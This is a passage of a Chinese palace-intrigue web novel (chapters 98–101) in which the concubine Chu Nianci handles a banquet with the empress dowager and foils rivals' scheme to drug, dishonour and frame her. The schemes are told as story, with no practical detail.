楚念辞连忙强行移开目光,心中暗忖。
看这衣着应是哪位王爷,绝非安分之人,还是远离为妙。
只是不知,蔺景瑞为何会出现在这内宫女眷的宴席上?
他二人向皇后行了礼,便转身往旁边的侧殿去了……那里另设了男宾宴席。
时间渐晚,殿中宾客差不多到齐了。此时,殿外忽然传来太监清亮的通传:
“陛下驾到……”
“太后娘娘驾到……”
“太妃娘娘驾到……”
太后与皇帝一行已至门前。
楚念辞抬眸望去,只见端木清羽搀扶着一位相貌端庄的妇人自屏风后转出,身后还跟着一位姿容端丽的妇人,正是那日见过的淳太妃。
殿中众人纷纷垂首行礼。
“平身吧。”端木清羽声音平和。
他今日未戴沉重的龙冠,只以金冠束发,耳畔垂落两条明黄缎带,一身银黄绣龙袍,行走时长带与衣袂轻飏,恍若谪仙临世。
从楚念辞的角度看去,他肤色如玉,唇若丹朱,眉眼如墨绘就,长睫微垂时眸光清冷如月。明明灭灭的烛火映照下,他整个人仿佛自带光华,行至何处,便是目光所聚之处。
殿中侍立的宫女众多,姿容各异,令人眼花缭乱。
可端木清羽的目光,仍于扫视间第一时间落向了楚念辞。
那张海棠般明媚的容颜,与那份沉静中透着聪慧的气质,无论在何处都格外醒眼。
不过他也只停留了一瞬,便从容移开视线,含笑入座。
皇后领着众人起身。
“都坐吧。”窦太后的声音温和中带着惯有的庄重。
众人依序落座。
楚念辞位份虽不高,但因宫中嫔妃不多,席位倒也靠前,故而能清清楚楚地看见太后身边的情况。
太后身侧立着一位绿衫少女,面容娇憨,正痴痴望着端木清羽。
而端木清羽湛亮眸光却有意无意的落在楚念辞身上。
少女顺他目光所向,便望到右侧末座,看见了楚念辞。
然后,少女轻轻“咦”了一声,娇声道:“母后,殿中诸妃儿臣大多见过,只最末那位瞧着面生。”
皇后回头望了一眼,含笑道:“平宁郡主,那是慧贵人,按宫规,嫔位以上才需至慈宁宫请安,她品阶未到,故你未曾见过。”
平宁郡主?
楚念辞想起来了……前世听说太后确有一位养女,是亲戚家的孤女,自幼养在身边,封了平宁郡主。
窦太后微微一笑:“如今这些虚礼便免了罢,慧贵人,上前来让哀家瞧瞧。
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皇后示意楚念辞近前。
楚念辞起身,走至御座前跪下行礼。
“抬起头来。”窦太后颇有兴味地打量着她。
楚念辞依言抬头,目光恭敬地掠过太后面容。
太后瞧着不过四十余岁,皮肤白皙,五官端庄,保养得宜。
头戴点翠掐金凤冠,一身藏青满绣万字纹广袖宫装,雍容华贵。
那双眼睛看似和蔼,深处却蕴着一丝不易察觉的锐光。
传闻她原是先帝贵妃,为人端谨,与先后情谊深厚。
先帝临终前为稳朝局,将她膝下唯一的公主远嫁和亲。
正因如此,先帝临终托孤,将端木清羽交与她抚育。
这些年来太后执掌后宫,皇帝方能稳住局面。
独掌深宫数年,那不怒自威的气势早已浑然天成。
“瞧着温柔可亲,聪慧伶俐,长得也标致可人。”窦太后和颜悦色地望着楚念辞面容和衣衫,眼中却透着一股审度的意味。
良久,暗暗点了点头,穿着虽然低调,但高雅大方又不失风韵。
平宁郡主却笑着追问:“听闻慧贵人,入宫才是宫女,原是蔺家未过门的儿媳?为何放着蔺府正妻不做,偏要入宫当个宫女呢?”
这话问得刁钻,在大庭广众之下提起,着实令人难堪。
“郡主……”嘉妃欲开口解围。
“哀家没让你说话。”窦太后一个眼神淡淡飘去,虽仍含笑,却让嘉妃立刻噤声。
“这事哀家倒也好奇,”窦太后语气依旧平和,“只是听闻慧贵人伶俐善言,这样吧……哀家也不要你答。”
她目光转向楚念辞身后,“让你身边这宫女替你说说。”
她指的正是团圆。
楚念辞心下一紧。
殿内一片寂静,再无人敢出声。
这问题答不好便是麻烦,既不能说贪慕权势,也不能当众直言倾慕皇帝,毕竟以前并没见过如何谈得上是倾慕。
让宫女来答,既未当众逼迫贵人,面上也留了余地。
窦太后的目光落在团圆圆润稚气的小脸上。
团圆恭敬垂首,憨憨一笑:“回太后,宫里比蔺府好百倍。”
“哦?好这么多,说来听听?”
“太后赏的糕点特别好吃。”
殿中静了一瞬,随即响起一片轻笑。
窦太后脸上也浮起一抹淡淡的笑容。
淳太妃连忙凑趣道:“不过是个贪嘴的小丫头罢了,天真烂漫,倒也有趣。”
第98章 端木清羽照单全收
楚念辞悬到嗓子眼儿的心,一下子落下。
自己这个小侍女,平时憨憨的,有时候还有点胆怯。
但是到了真正的大场合,这倒也从不怯场。
见窦太后准备轻轻放过,平宁郡主小嘴一撇。
“这话不实,窦太后赏的糕点,难道你都尝过?”
楚念辞故意板着脸忙对团圆斥道:“团圆,窦太后,郡主面前,不得胡言乱语。”
团圆哦了一声,嘟起了嘴说:“那些糕点奴婢确实都尝过……有桂花茶糕,干炸响铃,艾草青团,芋泥麻薯,手打年糕,桂花糖芋头,桃花红豆酝,浓香椰子酥……”
她掰着手指头,一口气说完如数家珍。
殿内笑声又扬了起来。
窦太后却对楚念辞道:“这孩子憨厚又讨喜,你对她也不要太严苛了,哀家瞧着挺好,慧贵人能培养出这样心地单纯的孩子,想必人品也是极好的。”
“太后过誉,臣妾愧不敢当。”楚念辞也忙躬身行礼。
"臣妾自入宫,常听教导姑姑说太后慈爱宽和爱泽被六宫,早愿至膝下聆听慈训,只可惜位卑,无法得见慈颜,今日一见臣妾不胜欣喜。"
窦太后见她身为宠妃,还如此知礼,小嘴又甜,不知不觉双眉都舒展开来。
平宁郡主却微微含讥:"阿谀奉承。"
窦太后瞪了平宁一眼,道:"不许妄言。"
转而笑对端木清羽道:“你身边有这样的人伺候,哀家也放心了,以后不必计较名份,常到慈宁宫来走走。”
端木清羽笑意清浅:“母后多多教导才是她福气。”
窦太后便将楚念辞暂且搁下,转向嘉妃与悦贵人。
见一位英气端庄,另一位高雅清冷,问了几句话后,更是不住称赞:“这两个哀家见过,大家出身,也是好的,都坐到哀家身边来吧。”
三个人便都把位置朝前挪了挪。
待三人谢恩落座,窦太后又看向皇帝,温声道:“说起后妃,先帝在位时有十几位妃嫔,你如今却只这几人,先帝子嗣虽不算繁盛,终究还有四位王爷、一位公主,汝如今膝下没有一子半女,这让哀家如何去面对先帝,也该多纳几人,为皇家开枝散叶才是。”
“儿臣谨记母后教诲,”端木清羽语气平和恭敬,“只是新朝初立,民生维艰,儿臣不愿广选秀女劳民伤财。”
“此事哀家早为你思量过了,”窦太后含笑拍了拍手,“特意择了几位名门闺秀,今日便带来让你瞧瞧。”
楚念辞心想,窦太后是个聪明人。
她心知皇后如今式微,淑妃正如鲜花着锦、烈火烹油,而自己也算得上宠眷正浓。
两人隐隐形成掎角之势,已能压制蔺皇后。
窦太后绝不会坐视后宫成为宠妃的天下,却又不便明着扶持皇后,于是便打算送新人进来分宠,搅动眼下局面。
窦太后淡然一笑,拊掌两下。
丝竹声幽幽响起,如一线清泉蜿蜒,细细沁入人心。
两队美人手持长绸翩然入内,衣袂飘摇间,恍若花影摇曳。
楚念辞目光扫过其间,竟一眼瞧见蔺景珏也在其中。
她心中诧异:不是听说皇后正为她相看人家吗?
怎么会进宫来了?
她抬眼看向皇后与谢氏那边。
皇后的脸色当即就变了,笑容僵在脸上,手指不自觉地攥紧了衣袖。
若非在御前,恐怕早已发作。
她很快察觉失态,立刻低下头去。
而谢氏却还未看见女儿,只含笑望着歌舞,神情舒展。
楚念辞顿时明白了。
蔺景珏定是瞒着皇后和母亲,自己设法参选入宫的。
以她那点心性与能耐,在这步步惊心的后宫里,只怕连一个回合都撑不过去。
她嘴角浮起一丝极淡的讽意,不动声色地移开了目光。
这时,忽见人群轻分,两位女子纤影凌空而落,漫天花瓣随之簌簌飘洒,她们长袖漫舞,花瓣伴着手臂纷飞,暗香浮动,舞姿灵动如云卷云舒,说不尽的清逸脱俗。
这一刻,殿中众人几乎屏息。
连端木清羽眼中也掠过一丝惊艳。
其中一位身着鹅黄色罗衫,配淡云黄长裙。
腰身纤细得惊人。
女人的腰,**之刀。
那腰真如柳枝堪折,衣带飘飞间,飘出了水莲花一样柔弱动人的风韵。
另一人身形丰润些,穿着胭脂红色罗衫,云髻间银丝流苏轻摇,仿若月光淌落衣襟,风牵起她们衣上的飘带,转身回眸时,身姿空灵地起舞。
而那鹅黄衣衫少女,柔婉歌声随之荡开:“今夕何夕,搴舟中流。今日何日兮,得与王子同舟……山有木兮木有枝,心悦君兮君不知。”
正是那曲《越人歌》。
歌声未至,人先闻声。
那歌喉清越婉转,似青莲出水,又如微风拂过新叶,每一个转音都清脆剔透,余韵绵绵。多情处缠绵,淡然时缥缈,听得人浑身舒泰,恍如心神都被涤荡了一遍。
“这歌声倒是动人。”端木清羽的声音传来,他清亮的声音,竟然穿透了歌声。
楚念辞心中暗惊。
世间竟有这样的好嗓子,如莺啼流水,温柔入骨,教人只想沉溺其中。
端木清羽听得入神,指尖轻轻叩着节拍。
淑妃脸色却难看极了。
皇后只静静微笑,仿佛亦沉迷。
那鹅黄衣衫少女眼波流转,透出不安、羞怯与无助……
正是这宫里女人,少有的娇羞情态。
唱至尾声。
胭脂红衫少女身姿渐低,如藤蔓相偎,最终盈盈伏地。
满殿之人都被这歌与舞摄住了心神。
楚念辞也不得不暗叹。
窦太后此番确实费了心思……这两位姑娘,当真称得上色艺双绝。
两个小狐媚子。
淑妃脸色愈沉,眼底暗火浮动。
只因其中一人,竟与她一样穿了鹅黄色的宫装。
娇艳的眼睛嫉妒简直要溢出来。
她手指深深掐进了自己的掌心,绿翘上前给他斟了一杯酒。
淑妃忽然看见了瓷白的酒瓶,情绪终于稳定了下来。
她早已经知道悦贵人今晚会动手,却并不想阻止。
这种事对她来说一举两得。
除掉这两个小狐媚中的任何一个都算成功。
又可以当时指证出来,显示自己的能力。
何乐而不为呢?
她狠狠地咬了咬嘴唇,掩去眼底的怒火。
蔺皇后将她的神色尽收眼底,唇角浮起一丝极淡的、意味深长的笑意。
舞毕,皇帝含笑拊掌:“朕原以为紫衣舞艺已臻佳境,不料黄衫歌声更如昆山玉碎。不知二位是哪家府上的闺秀?”
窦太后温声道:“皇帝既问,你们便上前回话罢。”
两人依言上前,盈盈行礼。
身着鹅黄罗衫娇羞地迅速抬眼望了皇帝一眼,粉面微垂:“臣女太尉府嫡女白芷若,叩见窦太后、皇上、皇后娘娘。”
如此柔弱动人的绝色美人,珠光粉腻,很难有男人不动心。
加上弱柳扶风之姿,连身为女子的楚念辞都不免心生怜惜。
另一位年龄更小,约只十四,五岁,身量丰润,娇俏纯真。
她穿着胭脂红宫装,墨发高挽,簪着朝阳五凤步摇,圆长脸,皮肤白皙,高鼻薄唇,五官立体精致,一双令人惊叹的浅碧色猫眼,水蒙蒙的全是好奇,一眼就吸住了人。
异族的血统与异域风情完美结合,竞是
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罕见的绝色佳人。
少女天真道:“臣女二品将军许建成之女许宜真,叩见窦太后、皇上、皇后娘娘。”
楚念辞突然想起,这许宜真是闻名天下京城第一美女。
传说其母是西域贵族之女。
端木清羽望着两人,微微一笑。
两人正抬头看来。
只见端木清羽秀气红润的唇微微一勾,将头微微一偏,曳出一条俊美隽丽的曲线,看得人一阵脸红心跳。
白芷若只觉世间只怕再没有比他更精美出尘的男子了。
而许宜真只觉自己的心,比刚刚跳舞时,还要跳得厉害。
两人慌忙低下头去。
端木清羽笑道:“朕竟不知世间有如此绝色,来人,将江南新贡的云锦赐予二位,日后可制成舞衣。”
他略一停顿,目光温和,“既是太尉嫡女,又蒙太后举荐……白芷若册封莲嫔,许宜真册封纯贵人。
这时,端木清羽望向方才伴舞的几位女子,问道:“那几位一同起舞的,又是什么人?”
窦太后含笑应道:“她们亦是哀家此次看中的秀女。皇帝若有意,可从其中挑选一二,入宫陪王伴驾。”
“不必挑选了,”端木清羽嘴角掠过一抹浅笑,“既是窦太后看重的人,便全部收入后宫吧。位分就由皇后看着安排。”
楚念辞在一旁听得暗惊。
窦太后本只想让他选一两位,他倒好,照单全收。
这一下既打乱了窦太后的布局,又让这些入选女子背后的家族承了皇帝的人情。
真是一举两得。
众人连忙跪谢圣恩。
淑妃的目光死死锁在莲嫔身上,脸色彻底沉了下来。
这**,竟敢穿与她一模一样的颜色,神态还那般矫揉造作,分明以娇柔之态魅惑圣心。
尤其莲嫔比她年轻好几岁,正是鲜嫩得能掐出水的年纪。
淑妃素来在意容貌,此刻见对方身着同色衣裙,竟比自己更显娇俏,心头妒火直蹿。
她冷笑着开口:“果真是美人,这般妙的舞姿,往后宫宴群臣,正好让她们献舞助兴。”
嫔妃为帝王起舞是闺中情趣,若在百官面前献艺,便与舞姬无异了。
淑妃这话,羞辱之意再明显不过。
席间贵妇掩嘴轻笑。
两位新人脸上顿时难堪,莲嫔更是脸红过耳,轻咬唇瓣,望向皇帝的眼眶微微发红,楚楚可怜。
端木清羽心里叹口气。
这淑妃永远不知道自己想要什么。
只是一味地吃醋,他淡淡地打了圆场:“不许信口开河,赐座。”
楚念辞垂眸抿茶,心中暗想:淑妃当真跋扈,连窦太后举荐的人也敢这般折辱。
窦太后端庄的脸上掠过一丝不悦,却未立刻发作。
淑妃家世显赫,又是皇帝心尖上的人,即便言语过分,皇帝也不会当真责罚。
此时若强行问责,只怕反惹皇帝不豫。
见皇帝毫无责备淑妃之意,莲嫔与纯贵人对视一眼,低头掩去眼底不甘,低声道:“……谢陛下恩典。”
淑妃冷哼一声,黛眉这才舒展开来。
一个低贱的新人,也敢跟她撞衫。
窦太后与皇后竟连这般货色也收到旗下,真是越活越回去了。
窦太后面上仍是温和慈爱的笑容,蔺皇后则端着一贯的母仪天下之姿。
这时,皇后忽然朝悦贵人递去一个眼神。
悦贵人会意,轻笑一声上前奏道:“只要能博皇上一笑,臣妾倒觉得十分值得,听闻慧贵人也擅歌舞,不若也展示一二,好为窦太后助兴?”
平宁郡主拊掌笑道:“好呀!”
楚念辞心想,这般拙劣的冲自己叫板,当真以为自己好欺,真是给你脸了……
第99章 端木清羽偏袒引蔺景珏妒忌动手
所有目光都聚了过来。
莲嫔捏着帕子掩唇娇笑,纯贵人一双绿眼睛睁得溜圆。
楚念辞想,如今正得圣眷,若此刻退让,往后岂不成了六宫笑柄?
她弯唇一笑,声音清凌凌的:“悦姐姐提议得好,妹妹记得古有‘彩衣娱亲’,是至孝之举。姐姐这般有心,何不亲自为太后舞上一曲,也给姐妹们做个表率?”
悦贵人耳根瞬间烧红。
她原以为当着太后,楚念辞必会忍气吞声,万没料到对方竟直接将她推到了前面。
她噎了半晌,才挤出一句:“慧妹妹……这话是何意?”
“姐姐莫慌,”楚念辞面露讶色,“既是诚心孝敬,何必推辞?总不会……只是嘴上说说罢了?”
“放肆!太后面前,岂容你如此说话!”平宁郡主当即呵斥。
端木清羽此刻抬起眼,目光淡得像刀刻,对平宁郡主冷厌出声:“平宁,你对你小嫂出言不逊,倒不觉放肆?”
太后瞥了养女一眼,语气微沉:“平丫头,少说两句。”
平宁与陛下分属兄妹,嫔妃斗嘴,她不该掺和。
见太后不悦,陛下冷厌,平宁郡主脸一红,悻悻闭了嘴,躲回太后身侧。
“陛下,”蔺皇后适时温声开口,“两位妹妹各有道理,依臣妾看,不如一同献艺,更为喜庆。”
悦贵人脸色一白,自己竟也被绕了进去,只得僵硬道:“是臣妾失言了……臣妾实在不擅歌舞。”
楚念辞见她认怂,心中冷笑,不再接话。
蔺皇后却不甘,转向楚念辞:“本宫记得,慧贵人在闺中时,应是擅歌舞的?”
楚念辞眨了眨眼,笑容明媚,话却滴水不漏:“臣妾自幼长在扬州,与娘娘从未谋面,不知娘娘从何处听得此言?若强要献丑,臣妾丢了颜面事小,损了皇家体统事大。”
端木清羽刀刻般眼角化开,双眼一眨,波光明灭:“尺有所短,寸有所长,慧儿既不善此道,皇后何必强求?”
皇后没料到皇帝会当众如此回护,脸色一僵,顿时语塞。
这一来一往,众妃与贵妇心里都透了亮。
这慧贵人才是真正的宠妃。
风往哪边吹,再清楚不过。
淑妃心生一丝嫉妒,但见她能让皇后吃瘪。
便先压下心头不悦。
悠然开口:“献舞需事先排练,岂能临时起意?悦贵人若自己想献艺,自去便是,何苦拉扯旁人。”
此话一出,众妃与贵妇们更明白了。
慧贵人身后,站着的不止皇上,还有淑妃。
悦贵人脸上红白交错,急忙辩解:“皇上,淑妃娘娘明鉴,臣妾只是一心想凑趣,绝无为难之意……”
楚念辞静静看着她,唇角噙笑,话如软针:“姐姐别急,谁说你故意了?只是孝敬太后贵在诚心,若人人都能随口效仿,岂不是轻慢了太后?”
轻飘飘一句,将“不敬太后”的帽子扣了上去。
悦贵人羞愤难当,死死咬住下唇,干巴巴地说:"臣妾也不擅歌舞,望太后恕罪,改日研习后奉上。"
端木清羽微微一笑,明俊冶艳的仿若春光乍开,殿中仿佛也随之亮了几分。
朦胧烛光里,众人面容模糊,唯他如自带清辉,笑颜如沐春风,声音却是讥讽:“悦贵人过几日便去南曲班子学舞好了。”
这已经无异于羞辱了。
可见他对悦贵人争风吃醋窝三挑四十分厌烦。
所以出口下令。
悦贵人听帝王如此说,只恨不得找个地缝钻进去。
淑妃却觉得陛下是在帮她说话,不由满意地勾起唇角。
她才是陛下最宠爱的女人,一个小小贵人,拿什么同她争?
不过楚念辞确实机灵,不声不响就自己找回了场子,不用让她费心,倒让她越发顺眼。
蔺景珏隐在阴影里。
旁观者清。
她看得分明。
皇帝表面上一碗水端平,主持公道。
可每句话都是维护,而且眼神总若有若无地绕在楚念辞身上,像蜜蜂粘着甜糖似的。
偏偏她那皇后姐姐恍若未觉。
长姐还说自己不懂人情世故,分明她才眼盲心暗,这陛下偏袒的如此明显,她居然视而不见。
换做自己,早就下手收拾了她。
心中又酸又妒。
凭什么?
一个商户女偏偏如此入得了陛下的眼。
而她伯府千金,不但干陪末座,陛下连一个眼风都没有瞟向自己。
连喝了一口凉茶,压住心中的妒火。
不急,刚刚已经应召入宫了。
哪怕是个常在,自己也要找机会把陛下的宠爱一点一点夺过来。
她摸了摸花了几千两从瑞福祥置办头面,手指紧紧抓紧云锦做的丝绸长裙。
今天那**的好日子到头了。
悦贵人送自己阴阳瓶,她当然知道这个女人不怀好意,她想利用自己对付那些新人,自己可以顺水推舟帮她这个忙,毕竟自己也想第一个承宠。
可自己也有打算,她准备利用悦贵人的手下,先对付楚念辞,只有把这个如今最得宠女人彻底搞臭,自己才有机会爬上去。
等会儿把她引到偏僻处。
自会有人好好照应她。
到时候叫天天不应、叫地地不灵,她的名声也就毁了不说,还会慌乱无措,借此机会,才好把下毒的事,栽赃到她的头上。
蔺景珏朝人群中扫了一眼,杏仁眼中目光冰冷凶狠。
那个被买通的宫女哆嗦着上前,为楚念辞递上一壶
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“梨花白”。
这瓶梨花白倒是没有**,只有媚药。
现在还没有到用阴阳瓶的时候。
楚念辞这时正侧身和嘉妃说话,似乎没注意。
其实她早用余光瞥见了那宫女表情僵硬,哆哆嗦嗦的诡异模样。
她装作把酒端到唇边,蔺景珏的心一下子提到了嗓子眼。
可楚念辞却又把酒杯放下了。
蔺景珏暗暗失望。
楚念辞说了两句玩笑,重新端起酒杯,慢慢往嘴边送。
这时嘉妃不知说了什么笑话,她忍不住笑起来,笑得直咳嗽,忙用帕子捂住嘴。
团圆赶紧上前替她抚背。
蔺景珏也不知道她到底喝下去多少,紧张地搓着手。
这时,一名小太监悄悄从侧门溜进来,快步走到楚念辞身边。
压低声音急道:“小主,不好了,方才有人来报,说斓贵人染了风寒,加上前几日余毒未清,这会儿突然毒发,已经性命垂危了!”
楚念辞听得浑身一寒,转头看去,发现竟是宫里的福贵。
他跑得满头大汗,一边说一边抹泪。
看样子不像是撒谎作假。
楚念辞当即站起身,却因急切身子微微晃了晃。
她转向身旁的嘉妃,低声道:“姐姐,我有点事,需去更衣。若陛下问起,劳烦姐姐替我遮掩一二。”
嘉妃见她脸色发白,虽不知具体何事,也连忙点头应下。
楚念辞搭着团圆的手离席。
嘉妃又关切地递过自己的斗篷,“慧妹妹,外头冷,你的斗篷方才沾湿了,披上我的吧。路上黑,仔细脚下。”
这时,檐角滚过一阵雷声。
沙沙的春雨落下。
竟是下雨了呢。
楚念辞看了看那斗篷是狐**的。
“姐姐,这斗篷不耐水,我还是穿那件貂皮斗篷吧。”楚念辞道。
说着,状似无意地披上悦贵人送的那件斗篷,
楚念辞装成脚步虚浮地向外走去,伴作酒后微醺、不胜酒力的模样。
她借口醒酒,带着团圆悄然出了殿门,团圆则向小太监借了一把雨伞。
两人匆匆出了交泰殿。
不远处,蔺景珏暗暗握紧了手指。
成了。
她喝了酒,又穿了貂皮斗篷。
楚念辞必定会急急忙忙地赶往斓贵人做的毓秀宫,步伐急速下,会加快药性发作。
她早已安排好人手埋伏在那儿……
只要抓住她,往偏僻的宫殿里。
那侍卫一定会好好照顾她的。
等过了今夜,她名节尽丧于侍卫之手。
而且还不敢声张。
一切都已打点妥当。
这时,恰淳太妃也喝了几口梨花白,有点不胜酒力,扶那云姑姑出门醒酒……
第100章 楚念辞与淳太妃达成交易。
楚念辞带着团圆出了殿门。
走至拐角,就把斗篷脱下。
让团圆至侧殿叫了悦贵人身边素云过来。
把那斗篷脱下,交给她道:“你家小主好意,但我不能收,我马上去看斓贵人,麻烦你穿上这个,在前头引路。”
素云对悦贵人计划是知道的。
她当然知道他这是扯谎不肯相信。
正当她准备找借口脱身时,忽觉右胳膊一麻,整个人的上半身都僵住了。
楚念辞手上金针刺在她的身上,笑道:“这针上边的毒叫一夜倒,你若不听我的命令,拿不到解药,明天就会没命。”
素云吓得脸色骤变,却未然全信,只咬着牙不作声。
“你看看你手上有一条红线,若是长到胸口就没命了,”楚念辞哼笑,“你走在我的前面。”
素云把能动的左手抬起来一看,果然有一条红线,已经长到了胳膊上。
吓得浑身轻颤,便咬咬牙,披上了斗篷走在前面。
楚念辞与团圆各穿一件绿蓑衣跟在她后面,往毓秀宫而去。
外头正下着雨。
她定了定神,与团员手挽手,摸了摸戒指里藏的金针,心下稍安。
寒风中隐约传来整齐的靴声,是一队巡宫侍卫正往这边来。
她连忙拉着团圆躲进路旁的梓树林里。
林子里光线昏暗,雨声也更清晰。
两人往里走了一小段便停下,屏息等着那队侍卫过去。
待靴声渐远,楚念辞刚要松口气,身后却传来沙沙的脚步声……
不是侍卫那种整齐的声响,而是踩在湿叶上的、谨慎的细响。
她心头一紧,扶着团圆的手缓步往林子另一头挪。
园中古木参天,假山叠石,在冬夜里显得格外森冷。
沿途只有零星几点迎春,在雨中瑟瑟开着。
一个披着黑斗篷的侍卫,沿着小径急急朝素云追去,那人从后方猛地箍住素云,朝素云后颈斜劈一掌,将素云打晕,扛着人急急去了。
团圆吓得一把抱住了她的胳膊。
楚念辞倒松了一口气,安抚的拍了拍小侍女的手。
又走了几步,猛地顿住脚步。
“不对,”她低声道,“昨天我才替斓贵人诊过脉,脉象平和,怎会突然毒发?”
上当了,得赶紧回去。
“小主,那现在……”团圆话未说完,楚念辞已听见另一侧传来窸窣声。
那声音极轻,混在雨里,像风刮过树梢,远处宫殿的亮光,隐隐照到地上一条男人高大瘦长的身影。
她拉着团圆正要往旁躲,身后脚步声已迫近!
就在此时,一道修长身影忽地从旁侧掠出,宽肩窄腰,动作快得只剩残影,一侧身将楚念辞前路堵住。
这一连串动作行云流水,楚念辞反应也极快,指尖金针已暗暗弹出,随时准备出手。
那人只是与她一触即分。
“念辞……”男子缓步走近,高大身影在夜色中压来。
楚念辞已能看清他眼中微亮的光。
俊眉星目,高冷疏离的苍白面孔,正是蔺景瑞。
“还请称呼我慧贵人。”楚念辞冷冷地说道,“麻烦让路。”
他竟是悄悄尾随她出来,团圆张大小嘴,戒备地盯着他。
“你为何总对我这般冷淡?”蔺景瑞唇角微动,清冷俊朗的脸上隐约透出一丝不甘。
“真真好笑,”楚念辞冷冰冰道,“为何你总这样夹缠不清,这样不甘,无非要看着我名声尽毁,过得如你一般狼狈。”
她毫不客气地撕下他的面具。
“你……你为何这样想,我真是放不下你。”蔺景瑞恍若挨了一个耳光,面露薄红。
“拜托你别这样自欺欺人了,说得这般深情。”
“你不过不甘心陛下将我抢走,想找补而已。”
“都到这地步,还想诱我上手,你就如三岁小孩抢糖吃,舔到了才肯善罢甘休。”
一字一句,楚念辞说的毫不留情。
每说一句便冷笑一声。
就如同手剥洋葱一般,一层又一层,彻彻底底的将他心底的那点不甘,毫不留情地撕剥出来。
“你……好狠的心。”蔺景瑞羞愧交加。
“惭愧,”楚念辞语气平淡地反唇相讥,“比之你的心肠,仍技差一筹。”
“你如今深受圣宠,”他愧到极点反笑了,笑容中带着阴郁,“午夜梦回时,可还会想起我们在扬州的日子?”
这话听得楚念辞牙酸,却只笑了笑道:“你这番深情表白,还是留给我妹妹吧。”
她说着,慢慢往后挪了半步,“先行告辞。”
“如此甚好,那我送你一程。”
楚念辞:“……”
他在说什么?
众目睽睽之下若让他送回去,那真是跳进黄河也洗不清了。
她不用回头,都能感觉到团圆正用刀样目光,瞪着他,想将他戳一个洞。
“相送就不必了。”楚念辞道,“早就说过,我们之间早已如云散露消,你若还要纠缠,除了自取其辱,还想拉上全家。”
听她如此说,蔺景瑞咬咬唇,道:“我欠你的,你欠我的,来日总是要还的。”
说着,一双眼望着她,竟又上前半步,自然而然地为她拂去披风上沾着的雪沫。
楚念辞指尖金针已蓄势待发,他却适时停住,只细心拂去雪粒,未再逼近。
随后,蔺景瑞在前引路,陪她们走了一小段。
她们仨走到交泰殿附近的时候,淳太妃与云姑姑正从侧殿出来。
看见三人一前一后回来。
饶是云姑姑老成持重,微微惊异地张大了嘴,“太妃,奴婢怎么好像看见,蔺世子与慧贵人一起回来。”
“你眼花了吧,”淳太妃也有点惊讶,但转眼就恢复了平静,“看错人了。”
楚念辞也看见淳太妃。
见她看见自己与蔺景瑞一起回来,不觉得皱了一下眉头,又思及自己消失了那么长时间。
等会儿万一人问起来会是很麻烦。
楚念辞立即上前两步,向淳太妃俯身一礼,端正行礼:“太妃娘娘,有句话不知当讲不当讲,您是否时常夜不能寐,近三更时还会忽冷忽热,额头后三寸处伴有隐痛?”
淳太妃微微一顿,眼底掠过一丝诧异:“你如何得知?”
一旁的云姑
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姑已皱起眉:“慧贵人莫非私下打探太妃病案?”
"姑姑误会,只是那是为太妃正臂时,偶然摸到脉象时察觉,"楚念辞不慌不忙转向云姑姑,唇角含笑:“云姑姑,若我说能治好太妃这症候,治好了,我赏您半年的月例,治不好,我倒赔您一年月例,您看如何?”
云姑姑一怔,心里飞快盘算。
这……怎么算,似乎横竖都不亏,她眼神动了动,却没立刻接话,却也没再反驳。
淳太妃静静地打量着楚念辞。
好厉害的小丫头。
竟然当众就敢贿赂他身边的姑姑,只不过这种打赌的方式,自己不但说不出什么来,还颇觉有趣。
于是浅笑着缓缓开口:“慧贵人真能治本宫这头疼的旧疾?”
“摇唇鼓舌,只能骗人一时,却骗不了长久,您若见我说话不作数,再来问罪也不迟。”楚念辞抬眼,目光清亮纯正,不像心虚撒谎。
淳太妃指尖轻轻摩挲袖口。
她记得那日楚念辞一托便治好了她的脱臼,确实有些本事。
片刻,她抬起眼:“贵人这般说,只怕是有什么条件吧?”
楚念辞笑容未变,声音压低了些:“稍后若有人问起我去了何处,还请太妃帮忙转圜一句。”
淳太妃望着她,心中权衡。
半晌,她轻轻叹道:“罢了,看在那日你援手的份上,今日便替你圆这一次。”
她顿了顿,又道:“只是我这头疼……”
“娘娘放心,”楚念辞恭谨垂首,“来日奉上祛风丸,必让您安睡到天明。”
听见“祛风丸”三字,淳太妃目光亮了亮,她听说过这是治头风的好药。
于是抿嘴笑着点了点头。
楚念辞暗暗叹口气,深深一拜,转身进殿。
她追求的成功,一人之下万人之上的地位和权柄。
有时候细想想,她**走上了顶尖的位子,也是应当应分。
毕竟她因此经历了这么多呕心沥血钩心斗角。
云姑姑看着她如玉竹般笔直背影,面色阴晴不定,小声问淳太妃:“娘娘,难道您真的想帮她?”
“能言善辩,聪明伶俐,胆大心细,头脑灵活,她只入宫一月便在陛下身边如此得宠,岂是我们动得的了?况且就算我不帮她,本宫料她必有后招,不若卖她一个人情,日后她定非那池中之物,犯不着为了这点小事,与她结下梁子。”
楚念辞回到殿中,酒宴才进了三巡,正是酒热耳酣之际。
回到座位,嘉妃说一切无恙,她这才暗暗松了口气。
坐在席间的蔺景珏见她好端端走进来,惊得手中酒杯一颤。
酒水泼出……
泼在身边一位秀女的衣袖。
她也浑然不觉。
心中只差诧异……
她怎么会安然回来?
此时不是该药性发作被人淫辱、哭着跑回来,狼狈失态才对吗?
蔺景珏惊讶地小声叫了出来。
她脸色霎时白了。
指尖紧紧攥住杯沿,脑中一片混乱。
半?1?8后,她才强作镇定地垂下眼睛,却掩不住眼中那抹慌乱与不可置信……
第101章 孔雀胆与鹤顶红
蔺景珏慌忙喝了一杯酒掩盖,恰巧宫宴已近尾声,太后饮了些梨花白,面露倦色,慢慢站了起来。
端木清羽起身扶太后去屏风后稍歇,皇后与淑妃也连忙跟去照应。
大殿内一时只剩下一众妃嫔与微醺的命妇。
悦贵人朝蔺景珏递了个眼色。
蔺景珏会意,拿起手边那只不起眼的阴阳酒壶,先笑盈盈走到莲嫔与纯贵人席前,纤指稳稳按住无毒的那侧,为二人斟了酒。
“两位姐姐初入宫闱,妹妹敬你们一杯。”
莲嫔与纯贵人不好推辞,只得举杯饮下。
蔺景珏自觉名份已是囊中之物,连皇后姐姐也默许了,便越发坦然。
她转身行至楚念辞席前,仰着雪白的下颌,语带鄙夷:“楚念辞,你母亲出身商户,不过一个五品官的女儿,侥幸入选已是天恩。在我长姐面前,你连提鞋都不配,若再敢狐媚陛下、不知礼数,看本小主往后如何收拾你。”
四下目光顿时聚了过来。
新入宫的秀女们眼中难掩妒色与幸灾乐祸。
她们出身不俗,怎么就被一个商户之女抢了先机?
莲嫔白芷若自第一眼见到楚念辞起,便觉出威胁。
那眉间一点红痣,那股聪慧中透韧、妩媚里藏纯的气质,确是大殿中独一份。
